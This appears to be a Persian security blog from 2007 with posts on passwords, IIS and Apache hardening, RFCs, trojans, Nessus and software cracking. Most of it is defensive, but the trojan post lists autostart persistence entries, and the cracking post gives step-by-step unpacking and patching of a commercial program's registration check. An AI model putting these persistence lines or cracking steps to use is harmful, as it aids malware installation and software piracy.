2- رمز ها را برای خودتان توضیح دهید:برای مثال رمزY13#tiruceS در حقیقت همان لغت security است که وارونه نوشته شده و اولین وآخرین حرف آن بزرگ بوده و بعد از حرف اول عدد تاریخ تولد دوستتان آمده و بعد یکی از کاراکتر های ویژه استفاده شده است به جای یک مشت کاراکتر های نامربوط حالا شما به زبان کدگذای خودتان نوشته شده است
راه حلهای ممکن :
وقتی متد های رمز نگاری را در هر دو سطح سیاست های ایمن سازی و شبکه،ضروری میکنید اکثریت کاربران ثابت کرده اند که در ایجاد و نگهداری رمزهای قوی وقابل اطمینان نمیباشند بخش خدمات شرکتها، غالبا گرفتارتراز این هستند که تقاضای مربوط به «یافتن رمزهای فراموش شده» را پاسخ دهند و اگر شرکت آگاهی های لازم در خصوص سیستم رمز نگاری را ندهد این مشکل همچنان رشد خواهد کرد.
Passphrases :
Passphrases ها راحت تر میتوان به خاطر آورد ولی ظاهرا شکستن آنها غیر ممکن است اکثر نرم افراهای کدگذاری ازشما میخواهند که از یک Passphrases بعنوان کلید شخصی خود به جای رمز استفاده کنید
Passphrases ها معمولا شبه جمله ای هستند که شما همیشه یاد میاورید،مثلا یک شعار ،یک جمله مرد علاقه و یا ترکیبی از اعداد و حروف وکاراکتر های ویژه گرچه مجازا نمیتوان Passphrases ها رابا استفاده از یک KeyLogger(قفل گشا) میتوان باز کرد و یا به هنگام ارتباطات شبکه ای از طریق ردو بدل متن ساده آنها را حدس زد.
Biomectrics:
Biomectrics ها نسل بعدی متدهای کدگذاری هستند با وجود اینکه هنوز به دلیل هزینه های مربوطه در مراحل اولیه پیاده سازی هستند و گاهی اوقات نیز نتایج اشتباه به بار میاورند اما Biomectrics
ها روشی را که ما خودمان را مجاز به استفاده از چیزی میکنیم، تغییر خواهند داد و احتمالا دقتشان99%خواهد بود Biomectricsرا نمیتوان دزدید،فراموش کرد و یا به شخص دیگری داد سیستم های Biomectrics میتواند شامل سیستم های زیر باشد:
سیستمهای انگشت نگاری،تشخیص صدا ،اسکن شبکیه چشم ، تشخیص نقوش کفدست و تشخیص دست خط.
PKI(Public Key Infrastructure):

توابعPKI(ساختارهای کلید عمومی)به کاربران و سرورها این توانایی را میدهد که با هم ارتباط داشته،خود را شناسایی کرده و هویت خود را توسط مدارک دیجیتالی مشخص کنند که هر یک شامل کایدهای عمومی وشخصی است.
کلید عمومی برای هرکس که میخواهد داده ها را با شخص دیگری مبادله کند در دسترس قرار میگیرد و کلید شخصی تنها روش برای باز کردن کد و یا تشخیص هویت صحصیح است.PKI خصوصا به هنگام ارتباط از طریق شبکه های ناامن مثا اینترنت و یا سرورهای داخلی مفید واقع میشود.
با وجود اینکه متداول ترین روش برای شناسایی یک کاربر از گذشته بسیار دور،استفاده رمز بوده است اما کاربران و سازمان ها متوجه ضعف این روش شده ئ تدریجا در حال تغییر روش خود و استفاده از متدهای دیگر هستند کدگذاری مهمترین قدم بعدی برای اکثر شرکتهای کوچک و متوسط خواهد بود و هم چنین استفاده از متدهای مختلف Biomectrics در سر فصل این تغییرات قرار خواهد گرفت.
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 راه اندازي سرور وب تحت ويندوز
راه اندازي سرور وب تحت ويندوز و فراهم نمودن شرايط امنيتي لازم در مقابل نفوذگران

در اين مقاله سعي خواهم داشت در مورد راه اندازي يك وب سرور تحت ويندوز 2000 با IIS 5.0 را شرح دهم و هم چنين نكات لازم را جهت برقراري امنيت لازم در مقابل حفره هاي امنيتي شناخته شده و مهم را ارائه كنم ( من فرض را بر اين مي گيرم كه شما از قبل سرور IIS را بر روي سيستم نصب نموده ايد )


- شناخت ابزار هاي مديريتي

همان طور كه در شكل زير مشاهده مي كنيد ابزار هاي مديريتي ويندوز 2000 داراي قسمت هاي مختلفي ايست كه سعي مي كنم در مورد هر قسمت در اين بخش توضيحاتي مختصري ارائه كنم ...



تصوير 1 - ابزاري هاي مديريتي


Component Services

اين قسمت شامل مديريت و تنظيم نمودن برنامه هاي كاربردي " كام پلاس " است

Computer Management

دسترسي به سيستم هاي داخلي و يا سيستم هاي ريموت و ابزار هاي متعدد جهت تنظيم نمودن آن ها

Data Sources

اضافه نمودن و يا حذف نمودن ديتا سورس هاي OBDC

Event Viewer

مانيتورينگ سيستم و نشان دادن پيغام هاي ترابل شوتينگ ويندوز و يا به عبارتي ثبت كننده فعاليت هاي ويندوز و ...

Internet Services Manager

مديريت سرور IIS

Local Security Policy

ويرايش و تظيم " سياست امنيتي داخلي " نظير دسترسي كاربر و ...

Performance

نشان دهي قابليت هاي سيستم و تنظيمات لاگ هاي اطلاعاتي و اخطارها

Server Extensions Administrator

مديريت Server Extensions ( من معادل دقيقي جهت آن پيدا ننمودم و به همين دليل از خود واژه كاربردي آن استفاده نمودم ‌)

Services

اجرا نمودن و يا استاپ سرويس ها ( نظير تل نت )

Telnet Server Administration

مديريت تنظيمات سرور تل نت و ارتباط دهي آن



- آشنايي با ابزار مديريتي Internet Services Manager

تصوير 2 - Internet Information Services


حال چنانچه بر روي نام وب سرور خود كه از قبل تعيين نموده ايد كليك نماييد در پنچره كناري با سه چيز روبرو مي شويد :

* Default FTP Site
* Default Web Server
* Default SMTP Virtual Server

حال جهت تنظيمات سرور اف-تي-پي بر روي آن كليك سمت راست نموده و Properties را انتخاب نماييد :

تصوير 3 - تنظيمات FTP سرور


خوب چيزهايي كه از هر قسمت لازم به ذكر است را در اينجا شرح مي دهم :

نكته : در قسمت Security Accounts جهت بالا بردن امنيت بيشتر تيك Allow Anonymous Connections را برداريد .

اما در قسمت Home Directory , مسير اصلي اف-تي-پي به صورت از قبل تعريف شده " C:\inetpub\ftproot " است كه مي توانيد آن را تغيير دهيد و اجازه هاي Write , Read را به دلخواه نتظيم نماييد .

در تنظيمات Home Directory به صورت معمول از دايركتوري روي سيستم شما به عنوان دايركتوري ريشه استفاده مي نمايد اما چنان چه بر روي گزينه a share located on another computer كليك كنيد مي توانيد از داده هاي اشتراكي سيستم ديگر نيز استفاده كنيد كه بدين صورت تعريف شده است " \\{server}\{Share} " كه چنان چه اشتراك سيستم مورد نظر داراي مشخصات زير باشد :

اي پي : 192.168.1.2

اشتراك : FTP$

\\192.168.1.2\FTP$ : به اين صورت تعريف مي شود

حال جهت تنظيمات سرور وب بر روي Default Web Server كليك نماييد و چنين صفحه اي را مشاهده مي كنيد:

تصوير 4 - تنظيمات وب سرور


نكته : فولدر هاي IISadmin , IISSamples , MSADC را به دليل داشتن حفره هاي امنيتي كه به نفوذگر اجازه دسترسي مي دهد را حذف نماييد .

در قسمت Default Web Server بر روي آن كليك سمت راست نموده و Properties را انتخاب نماييد :

در Home Directory مي توانيد مسير دايركتوري ريشه سرور به صورت c:\inetpub\wwwroot تعريف شده است را تغيير دهيد و اجازه هايي نظير Read, Write را تعيين نماييد و ...

حال نوبت به تنظيمات اس-ام-تي-پي مي رسد , اولين نكته اي كه در مورد امنيت آن به نظر مي رسد غير فعال كردن حالت Anonymous است , كه با توجه به شكل زير تمامي مراحل قابل رويت است:

تصوير 5 - غير فعال سازي Anonymous در SMTP Server

نكته : تيك Anonymous Access را برداريد



:: حال بهتر است نكات امنيتي لازم را در اينجا ارائه كنم :

- غير فعال سازي WebDav

پروتكول وب داو استانداردي را جهت ويرايش و مديريت فايل ها در محيط وب را فراهم مي كند , اما آسيب پذيري در آن وجود دارد كه به نفوذگر اجازه دسترسي به سيستم و يا حملات DoS را مي دهد . جهت غير فعال سازي آن اين مراحل را دنبال كنيد :

1 . Regedit را در منوي ران وارد کنيد

2 . بعد به

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW3SVCParameters

برويد

3 . در منوي اديت يک Value را با چنين مشخصاتي وارد کنيد:


Data Type: DWORD
Value Name: DisableWebDAV
Value Data: 1 ( 0 means WebDAV is enabled )



- غير فعال سازي سرويس DCOM

يكي از ‌آسيب پذيري مشهور ويندوز در سرويس دي كام است و با اينكه هات فيكس جهت رفع مشكل آن عرضه شده است باز هم امكان اسيب رساندن وجود دارد كه بهترين راه غير فعال سازي آن است :

1 . Regedit را در منوي ران وارد کنيد

2 . بعد به

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] برويد

3 . اين تغيير را ايجاد كنيد :

"EnableDCOM"="N"

- حذف ديگر Sample Application ها

جهت بالا بردن امنيت بيشتر فولدر C:\winnt\help\iishelp را نيز حذف نماييد

- غير فعال سازي NetBIOS Null

اين آسيب پذيري امكان ايجاد حملات DoS و يا كرك پسورد هاي Share را مي دهد . جهت غير فعال سازي آن اين تغييرات را در رجيستري ايجاد نماييد :


Hive: HKEY_LOCAL_MACHINE
Key: System\CurrentControlSet\Control\LSA
Value Name: RestrictAnonymous
Value Type: REG_DWORD
Value Data: 2 (for Windows 2000) or 1 (for Windows NT)



- غير فعال سازي كامپوننت هاي COM

بعضي از كامپوننت هاي كام مورد احتياج نيستند و بايد حذف شوند . جهت اين كار فرمان زير را وارد كنيد :

regsvr32 scrrun.dll /u

- حذف دايركتوري مجازي IISADMPWD

اين دايركتوري در ويندوز 2000 و NT اجازه ريست پسورد ها را مي دهد . هنگامي كه IIS 5 نصب مي شود به صورت پيش فرض اين دايركتوري ايجاد نمي شود اما در بروز رساني IIS 4.0 به 5 اين دايركتوري وجود دارد . اگر شما از سرورتان جهت اينترانت استفاده نمي كنيد بايد آن را حذف نماييد .

- حذف Script Mapping هاي آسيب پذير

جهت حذف اين اسكريپت مپينگ ها كه بيشتر آن ها اجازه دسترسي به سيستم را مي دهند اين كارها را انجام دهيد :

1 . Internet Services Manager را باز كنيد

2 . Properties را انتخاب كنيد

3 . WWW Service را انتخاب نموده و Edit را كليك كنيد

4 . در Configuration , HomeDirectory را انتخاب نماييد

اين اسكريپت مپينگ ها را حذف نماييد:


Web-based password reset: .htr

Internet Database Connector: .idc (all IIS 5 Web sites should use ADO or similar technology)

Server-Side Includes: .stm, .shtm and .shtml

Internet Printing: .printer

Index Server: .htw, .ida and .idq

چندي از نكات امنيتي نيز در اينجا اشاره شد , البته اصول امنيتي فراتر از اين ها هستند ولي خوب اين دستورالعمل ها بيشتر حفره هاي امنيتي موجود را حذف مي كنند.
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 تعريف RFC ها
RFC چيست :

RFC سر نام عبارت Request For Comment و به معني درخواست براي توضيح مي باشد
RFC ها مراجعي بزرگ درباره مسائل مربوط به شبكه هستند كه هر كدام از آناه درباره موضوعي خاص نوشته شده و شماره مربوط به خود را دارند . به عنوان مثال RFC 768 پروتكل UDP را مورد برسي قرار مي دهد .
اين مراجع به صورت فايلهاي متني هستند كه بيشتر در قالب موضوعات تخصصي همچون تشريح پروتكل هاي مختلف و اينترنت منتشر مي شوند.

دسترسي به RFC ها :
RFC ها در برخي از سايت ها كه در زمينه ارائه آنها فعاليت مي كنند يافت مي شود . اين وب سايت ها مانند كتابخانه هايي هستند كه RFC ها را در خود جاي داده اند و براي دسترسي به RFC مورد نظر خود در آنها ، تنها نياز به شماره آن RFC داريم

ietf يكي از بهترين وب سايتها ست كه در اين زمينه فعاليت مي كند. شما مي توانيد با مراجعه به صفحه زير از سايت ietf و وارد كردن شماره RFC در باكس مورد نظر به راحتي به آن دسترسي پيدا كنيد

http://www.ietf.org/rfc.html

http://www.rfc-editor.org/rfcxx00.html


آيا تنها سازمانهاي استاندارد مي توانند RFC ها را تنظيم و ارائه كنند؟
تهيه و تنظيم RFC‌ها تنها به عهده ي سازمانهاي استاندارد مانند Internet Engineering Task Force نيست بلكه افراد عادي نيز مي توانند RFC هايي تهيه كرده و آنها را براي IETF بفرستند تا پس از برسي به RFC هاي ديگر اضافه شود


ليست RFC ها :

از آنجايي كه پيدا كردن يك RFC درباره موضوعي خاص كار مشكلي است ، ليستي از RFC هاي كاربردي و همه در آدرس زير براي شما فراهم شده است .




نكات مهم درس :
1- RFC‌ ها در زمينه ء فني نقش مهمي براي هر فرد كه بخواهد در ك عميقتري از TCP/IP داشته باشد محسوب مي شود.
2- RFC ها مراجعي بزرگ هستند كه تنها در صورت نياز به اطلاعات تخصصي به آنها مراجعه مي شود
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 تروجان ها چگونه كار مي كنند ؟
با گسترش فرهنگ استفاده از كامپيوتر و راهيابي آن به ادارات، منازل، اين ابزار از حالت آكادميك و تحقيقاتي بدر آمد و مبدل به پاره اي از نيازهاي معمول زندگي شد. يكي از دستاوردهاي اين پيشرفت، ظهور شبكه اينترنت است كه به سرعت در كشورها توسعه يافته و به يك پديده اجتماعي مبدل گشته است.

اجتماع بزرگ كاربران اينترنت در سرتاسر دنيا از هر منطقه و نژادي كه باشند شامل افراد خوب و بد خواهند بود، عده اي در جهت كسب منافع براي خود و ديگران تلاش مي كنند و عده اي در جهت جذب منابع ديگران براي خود. با توجه به نو پا بودن اينترنت نمي توان انتظار داشت كه يك فرهنگ صحيح و غني بر آن حاكم شده باشد و لذا احتمال سرقت اطلاعات و يا دستكاري و انهدام آنها بنا به انگيزه هاي ناسالم، اهداف سياسي، جذب نامشروع ثروت مي رود.

اين مجموعه که قرار است بطور منظم در نشريه تخصصی IC منتشر گردد درباره چگونگي كار تروجان ها، انواع آنها و چگونگي تشخيص و مقابله با آنها به نكات مفيدي اشاره خواهد نمود. ضمناً در قسمت پاياني هر قسمت نيزآدرسهاي منابع تحقيق بصورت مستقيم در اختيار خواننده محترم قرار خواهد گرفت. همچنين علاقه مندان مي توانند براي دريافت اطلاعات بيشتر به سايت هاي معرفي شده مراجعه نموده و نرم افزارهاي مربوط را دريافت نمايند. ذکر اين نکته لازم است که به دليل گستردگي استفاده از سيستم عامل ويندوز در ايران، مطالب ارائه شده درباره تروجانهای تحت ويندوز می باشد.
يك Trojan Horse چيست؟

مي توان تعاريف زير را مطرح كرد:

يك برنامه ظاهراً بدون نويسنده يا به عبارتي با يك نويسنده غير مشخص که اعمال ناشناخته و حتي ناخواسته از طرف كاربر انجام دهد.

يك برنامه قانونی و معروف كه داخلش دگرگون شده است، بطوری که کدهای ناشناخته ای به آن اضافه گرديده و اعمال شناخته نشده اي بطور ناخواسته از طرف كاربر انجام مي دهند.

هر برنامه اي كه ظاهر مطلوب پسنديده اي به همراه برخي از اعمال مورد نياز داشته باشد بطوريكه كدهاي محقق شده اي كه از نظر كاربر مخفي است درون آن موجود مي باشد. يك سري اعمال نا شناخته و غير منتظره اي كه بطور حتم با نظر كاربر نبوده است را انجام مي دهد.

اسب تراوا نامي است كه از يك افسانه قديمي گرفته شده كه درباره چگونگي نفوذ يونانيان بر محل دشمنان خود از طريق ساختن يك اسب بزرگ و هديه دادن آن به دشمن كه نيروهايشان در داخل مجسمه اسب قرارگرفته بودند. هنگام شب سربازان يوناني اسب را شكستند و به دشمنانشان حمله نمودند و بطور كامل آنها غافلگير كردند و در جنگ فاتح ميدان شدند.


تروجان ها چگونه كار مي كنند؟

تروجان ها به دو قسمت تقسيم مي شوند. يك قسمت Client (خدمات گيرنده) و ديگری Server (خدمات دهنده). وقتي قرباني ندانسته قسمت Server را روي سيستم خودش اجرا مي كند. حمله كننده بوسيله قسمت Client با Server كه روي كامپيوتر قرباني است متصل مي شود و از آن پس مي تواند كنترل سيستم قرباني را در دست بگيرد . پروتكل TCP/IP كه استاندارد معمول براي برقراري ارتباطات است به اين تروجان آلوده ميشود و تروجان از طريق آن كارش را انجام مي دهد. البته لازم به ذكر است كه برخي اعمال تروجانها نيز از پروتكل UDP استفاده مي كنند. معمولاً زماني كه Server روي كامپيوتر قرباني اجرا مي شود. خود را در جايي از حافظه مخفي مي كند تا پيدا كردن يا تشخيص آن مشكل شود و به برخي درگاههاي خاص (Port) گوش مي دهد تا ببيند درخواست ارتباطي به سيستم از طرف حمله كننده آمده است يا نه، از طرفي رجيستري را نيز به گونه اي ويرايش مي كند كه برخي از اعمال بطور خودكار روي سيستم شروع به كار كنند.

براي نفوذ كننده لازم است كه IP قرباني را بداند براي اينكه بتواند به سيستم او متصل شود. اكثر قريب به اتفاق تروجانها بصورتي برنامه ريزي شده اند كه IP قرباني را براي حمله كننده ارسال مي كنند همانند سيستم پيغام گذار از طريق ICQ يا IRS . اين زماني اتفاق مي افتد كه قرباني IP ديناميك داشته باشد بدين معني كه هر زمان به اينترنت متصل ميشود و يك IP متفاوت از قبل داشته باشد كه اغلب سيستم هايي كه به روش dial- up به اينترنت متصل مي شوند از اين قانون پيروي مي كنند. كاربران ASDL معمولا IP هاي ثابت دارند به همين علت IP آلوده شده همواره براي حمله كننده شناخته شده است و اين حالت باعث تسهيل درامر اتصال به سيستم قرباني مي گردد.

اغلب تروجانها از روش شروع اتوماتيك استفاده مي كنند. بصورتي كه اگر شما كامپيوترتان را خاموش كنيد آنها قادر خواهند كه فعاليتهايشان را مجددا ً آغاز كنند و دسترسي لازم به حمله كننده را روي سيستم شما بدهند و ساختن تروجانها با قابليت شروع روشهايي هستند كه هميشه مورد استفاده قرار مي گيرند. يكي از اين روشها، محلق كردن تروجان به يك فايل اجرايي كه كاربرد زيادي دارد مي باشد، به عبارت ديگر محلق نمودن تروجان به يك برنامه پركاربرد ، موجب عملي شدن تفكرات حمله كننده خواهد شد. روشهاي شناخته شده نيز همانند دستكاري فايلهاي ريجستري ويندوز مي تواند به عملي شدن افكار حمله كننده بيانجامد. فايلهاي سيستمي ويندوز قرار دارند كه مي توانند بهترين انتخابهاي حمله كنندگان باشند.


به جهت اينکه دوستان بتوانند سيستم خود را در برابر اين حمله ها محافظت نمايند، قسمتهای مختلف ويندوز که می توان از آن استفاده نمود را در اينجا بررسی می کنيم.

پوشه شروع خودكار

پوشه اي كه بصورت خودكار در شروع كار ويندوز فراخواني مي شود و فايلهاي داخل آن بصورت اتوماتيك اجرا مي شوند در آدرس زير قرار دارند.


C:\ windows\ start Menu \ programs \startup



البته فرض براي اين است كه سيستم عامل ويندوز در درايو C و در شاخه windows نصب شده باشد.


فايل Win.ini

فرمت شروع خودكار در اين فايل بصورت زير مي باشد :


Load = Trojan.exe

Run = Trojan.exe




فايل System.ini

فرمت بكارگيري تروجان در اين فايل سيستمي بصورت زير است:


Shell = explorer.exe Trojan.exe



كه باعث مي شود بعد از هر بار اجراي Explorer فايل Trojan.exe اجرا شود.


فايل Wininit.ini

اين فايل توسط Setup.exe برنامه هاي نصب شوند مورد استفاده قرار مي گيرد.

بدين صورت كه يك بار اجرا شود، قابليت حذف خودكار را نيز دارد كه براي تروجان ها بسيار سهل مي باشد.


Winstart.bat

اين فايل دسته اي هم در ابتداي شروع به كار ويندوز فراخواني شده و فرامين داخل آن به ترتيب اجراي مي شوند كه تروجان مي تواند با افزودن خط زير خود را در حافظه بار كند.


@ Trojan.exe




فايل Autoexec.bat

اين فايل دسته اي هم از فايلهاي معروف فراخواني شده در ابتداي كار سيستم عامل مي باشد كه مي توان با دستكاري و اضافه نمودن خط زير بر آن تروجان مورد نظر را در سيستم قرباني اجرا نمود:


C:\ Trojan.exe




فايل Config.sys

اين فايل نيز از معروفترين فايلهاي پيكر بندي سيستم است و مي تواند در امر اجراي تروجان كاربرد داشته باشد.
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 آموزش کرکينگ برنامه هاي پک شده
آموزش کرکينگ برنامه هاي پک شده:

تارگت: RegistryRescue V1.1

تولز: Win32Dasm V8.93, PEiD V0.92, AspackDie V1.41, Hackers View

خوب بعد از اينکه برنامه رو از Here دانلود کرديد اون رو اينستال کنيد بعد برنامه رو اجرا کنيد به قسمت PC PrivacySoftwareبريد و روي Click Here کليک کنيد برنامه براي رجيستر شدن احتياج به Username و Registeration Code داره:
Username = PersianHacker.Net
Registeration Code = HackerBoy
و بعد OK کنيد !
وقتي OK ميکنيد با پيغام Wrong Registeration Code مواجه ميشويد اين جمله رو ياداشت کنيد.


خوب حالا برنامه رو ببنديد و برنامه ي PEiD رو اجرا کنيد و آدرس فايل regresc.exe رو به PEiD بديد کاره اين برنامه اين هستش که به شما ميگه که برنامه به چه وسيله اي پک شده البته کارايي هاي ديگه اي هم داره که فعلن به اونها نميپردازيم


user posted image


همون طور که در عکس ميبينيد اين برنامه به وسيله ي ASPack 2.12 پک شده.

به طور معمول ASPack 2.12 رو با AspackDie V1.41 آنپک ميکنن و يکي روش منوال هست که من سعي ميکنم در آموزشهاي بعدي اون رو هم آموزش بدم.
خوب برنامه ي AspackDie رو اجرا ميکنيم و آدرس فايل regresc.exe رو به AspackDie ميديم بعد به يک Message Box بر ميخوريم معني بر اينکه فايل مورد نظر شما آنپک شده و در همون فلدري که RegisteryRescue رو اينستال کرديد فايل unpacked.exe ساخته شده .


خوب حالا Win32Dasm رو اجرا ميکنيم و از منوي Disassembler منوي Open file to disassemble رو انتخاب ميکنيم و فايل unpacked.exe رو باز ميکنيم خوب حالا جمله ي Wrong Registeration Code رو Search ميکنيم و بعد ٣ خط بالا ميرويم تا به اينجا برسيم :


user posted image


و 0049BA61 رو ياداشت ميکنيم معمولن با تغيير دادن اين قسمت برنامه ها کرک ميشن ولي در اين برنامه اين طور نيست بنابراين من اين قسمت رو توضيح نميدم!!!
خوب وقتي به اينچنين مشکلي بر ميخوريد دنباله جايي بگرديد که برنامه رجيستر مي شود!
خوب براي اين کار ميتونيد هم به قسمت String Data References بريد و دنبال جملاتي بگرديد که امکان داره هنگام رجيستر شدن نشون داده بشن!
راه ديگه اين هستش که دنبال کلماتي مثل Thank, Register و ... بگرديد براي مثال من Thank رو Search ميکنم و بعد چند خط بالا مي روم تا به اينجا برسم:



user posted image


خوب حالا به قسمت 0049B977 ميرويم اينجا همون جايي هست که وقتي ما Registeration Code غلط ميزنيم اجازه نميده که رجيستر کنيم خوب ما بايد اين قسمت رو تغيير بديم براي اين منظور ٢ کار رو ميتونيم انجام بديم يکي اينکه JE رو به JNE تبديل کنيم و راه ديگه رو که بعد ميگم!!

خوب حالا Win32Dasm رو ميبنديم و unpacked.exe رو در Hackers View باز ميکنيم و ٢ بار کليد اينتر رو ميزنيم تا وارد قسمت Decode بشيم.
حالا کليد F5 رو ميزنيم و بعد از زدن يک دات(.) 0049B977 رو وارد ميکنيم و بعد کليد Enter رو ميزنيم تا به اينجا برسيم:


user posted image


حالا ميرسيم به روش دومي که گفتم بعد توضيح ميدم:
کليد F3 رو ميزنيم و تعداد کارکتر هايي رو که مشخص کردم مي شمريم و تقسيم بر ٢ ميکنيم و به تعداد حاصل ٩٠ تايپ ميکنيم که در اين مثال بايد ٦ تا ٩٠ وارد کنيم.
خوب حالا براي Update شدن کليد F9 رو ميزنيم و بعد براي خارج شدن از کليد F10 استفاده ميکنيم.
حالا فايل unpacked.exe رو اجرا ميکنيم و به قسمت Register ميرويم :
Username: PersianHacker.Net
Registeration Code: HackerBoy
و به جمله ي Thank you for your registeration ميرسيم!!



user posted image
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 اموزش Nessus
براي هك كردن سايت بايد نقاط آسيب پذيري يا نقاط ضعف سيستم را تعيين كرد

برخي از ابزار هاي پويش و جستجو نقاط آسيب پذيري كه عبارتند از


Network associates Cybercop Scanner

http://www.pgp.com/products/Cybercop-scanner/default.asp

ISS ‘s internet Scanner http://iss.net/

Eeye ‘s Retian Scanner http://eeye.com/

Nessus, by Nessus project team http://Nessus.org/

و ...

Xx_parsa_xx

از بين تمام اين ابزارها Nessus ويژگي هاي زيادي دارد

1- كد برنامه نويسي آن در اختيار عموم است open

2- مي توان كدهاي لازم براي يك نقطه ضعف جديد را تعريف كنيم

3- اين ابزار رايگان است

4- تمام قابليت هاي nmap در Nessus وجود دارد

5- Nessus در linux و انواع ويندوز قابل نصب است

Nessus بيش از 500 نوع plug-in دارد

امكانات بعضي از plug-in ها

1- Finger abuses

اين plug-in بر روي اشكالات موجود در سرويس دهنده finger كه بطور معمول روي سيستم عامل unix قرار دارد تمركز مي كند

2- Windows

اين plug-in بر روي حملات به انواع سيستم عامل هاي مبتني بر ويندوز متمركز مي باشد

3- Ftp

اين plug-in نقاط آسيب پذيري سرويس دهنده هاي ftp را بررسي مي كند


4- backdoor

اين plug-in ويروسهاي تروا را بر روي ماشين هدف جستجو مي كند

5- Firewall

اين plug-in خطاهاي ديواره آتش را جستجو مي كند

6- gain root Remotrly

اين plug-in در جستجوي نقطه آسيب پذيري سيستم ها است كه آيا مي توان در سطح super-user به يك سيستم وارد شد

و بسياري از plug-in هاي ديگر به صورت مجاني

Nessus داري د و بخش است

1- Client 2- server

يكي از بهترين امكانات Nessus نوشتن plug-in توسط برنامه نويس و اضافه كردن آن است

كد هايي لازم را در C نوشته و به آ اضافه مي كنيم اين plug-in هاي نوشته

شده توسط يك API تعريف مي شود و در Nessus ينام NAPI

Application programming Interface) Nessus ( با پايگاه داده ها

و يا بقيه plug-ins ها ارتباط دارد
اين نرم افزار امكانات خيلي زياد ديگري دارد ...
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 امنيت برتر در سرورهاي IIS
حذف برخي از Script Mapping ها

سرور اي-اي-اس از قبل جهت پشتيباني فايل هاي نظير ASP يا SHTML تنظيم شده است . هنگامي كه سرور درخواستي را مبتني بر اين فايل ها دريافت مي كند اين درخواست توسط يك DLL مورد انجام قرار مي گيرد كه در بسياري از موارد داراي حفره هاي امنيتي مي باشند كه دسترسي به سيستم را ميسر مي كند .

. Internet Services Manager را باز كنيد

2 . Properties را انتخاب كنيد

3 . WWW Service را انتخاب نموده و Edit را كليك كنيد

4 . در Configuration , HomeDirectory را انتخاب نماييد

اين اسكريپت مپينگ ها را حذف نماييد :

Web-based password reset: .htr

Internet Database Connector: .idc

Server-Side Includes: .stm, .shtm and .shtml

Internet Printing: .printer

Index Server: .htw, .ida and .idq



غير فعال سازي WebDav

پروتكول وب داو استانداردي را جهت ويرايش و مديريت فايل ها در محيط وب را فراهم مي كند , اما آسيب پذيري در آن وجود دارد كه به نفوذگر اجازه دسترسي به سيستم و يا حملات DoS را مي دهد . جهت غير فعال سازي آن اين مراحل را دنبال كنيد :

1 . Regedit را در منوي ران وارد کنيد

2 . بعد به

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVCParameters

برويد

3 . در منوي اديت يک Value را با چنين مشخصاتي وارد کنيد




Data Type: DWORD
Value Name: DisableWebDAV
Value Data: 1 ( 0 means WebDAV is enabled )




غير فعال سازي سرويس DCOM

يكي از ‌آسيب پذيري مشهور ويندوز در سرويس دي كام است و با اينكه هات فيكس جهت رفع مشكل آن عرضه شده است باز هم امكان اسيب رساندن وجود دارد كه بهترين راه غير فعال سازي آن است :

1 . Regedit را در منوي ران وارد کنيد

2 . بعد به

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole] برويد

3 . اين تغيير را ايجاد كنيد :

"EnableDCOM"="N"


حذف ديگر Sample Application ها

جهت بالا بردن امنيت بيشتر فولدر C:\winnt\help\iishelp را نيز حذف نماييد


غير فعال سازي NetBIOS Null

اين آسيب پذيري امكان ايجاد حملات DoS و يا كرك پسورد هاي Share را مي دهد . جهت غير فعال سازي آن اين تغييرات را در رجيستري ايجاد نماييد :


Hive: HKEY_LOCAL_MACHINE
Key: System\CurrentControlSet\Control\LSA
Value Name: RestrictAnonymous
Value Type: REG_DWORD
Value Data: 2 (for Windows 2000) or 1 (for Windows NT)



غير فعال سازي كامپوننت هاي COM

بعضي از كامپوننت هاي كام مورد احتياج نيستند و بايد حذف شوند . جهت اين كار فرمان زير را وارد كنيد :

regsvr32 scrrun.dll /u


حذف دايركتوري مجازي IISADMPWD

اين دايركتوري در ويندوز 2000 و NT اجازه ريست پسورد ها را مي دهد . هنگامي كه IIS 5 نصب مي شود به صورت پيش فرض اين دايركتوري ايجاد نمي شود اما در بروز رساني IIS 4.0 به 5 اين دايركتوري وجود دارد . اگر شما از سرورتان جهت اينترانت استفاده نمي كنيد بايد آن را حذف نماييد .


غير فعال نمودن سرويس مسنجر

اين سرويس اخطارها و پيام ها را بين سيستم ها و كلاينت ها انتقال مي دهد كه در بسياري از موارد چندان مورد احتياج نيست كه اخيرا يك مشكل امنيتي در آن پيدا شده است كه به نفوذگر اجازه اجراي كد سيستمي را مي دهد . جهت غير فعال نمودن سرويس مسنجر اين مراحل را دنبال كنيد :

1 . به كنترل پنل برويد

2 . به Administrative Tools برويد

3 . به قسمت Services وارد شويد

4. سرويس Messenger را Stop نماييد .
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
  امنيت برتر در سرورهاي Apache
امنيت برتر در سرورهاي Apache
اين مقاله به صورت قدم به قدم به شما نحوه نصب و تنظيم نمودن وب سرورهاي آپاچي نسخه 1.3.x جهت امنيت بالاتر را نشان مي دهد كه سعي شده جزئيات كار به خوبي مورد بررسي قرار بگيرد .

قبل از اينكه ما مرحله امنيت وب سرور آپاچي را مورد بررسي قرار دهيم بايد اين را مشخص نماييم كه چه استفاده اي از سرور را خواهيم نمود . متنوع بودن استفاده از وب سرورهاي آپاچي نوشتن يك روند جهاني جهت امنيت اين سرور را بسيار مشكل مي سازد . به همين دليل است كه در اين مقاله ما چنين وب سروري با چنين شرايطي را در نظر مي گيريم :

اين وب سرور از طريق اينترنت قابل دسترسي است

فقط صفحات اچ-تي-ام-ال ثابت در آن قرار مي گيرد

اين سرور مكانيزم هاستينگ مجازي را پشتيباني خواهد نمود

صفحات مهم وب سايت فقط از طريق يك آدرس IP مخصوص و يا كاربران خاص مورد استفاده قرار مي گيرد ( basic authentication )

اين سرور همه درخواست هاي دريافتي را ضبط مي كند ( شامل اطلاعاتي در مورد مرورگرهاي وب نيز خواهد شد )

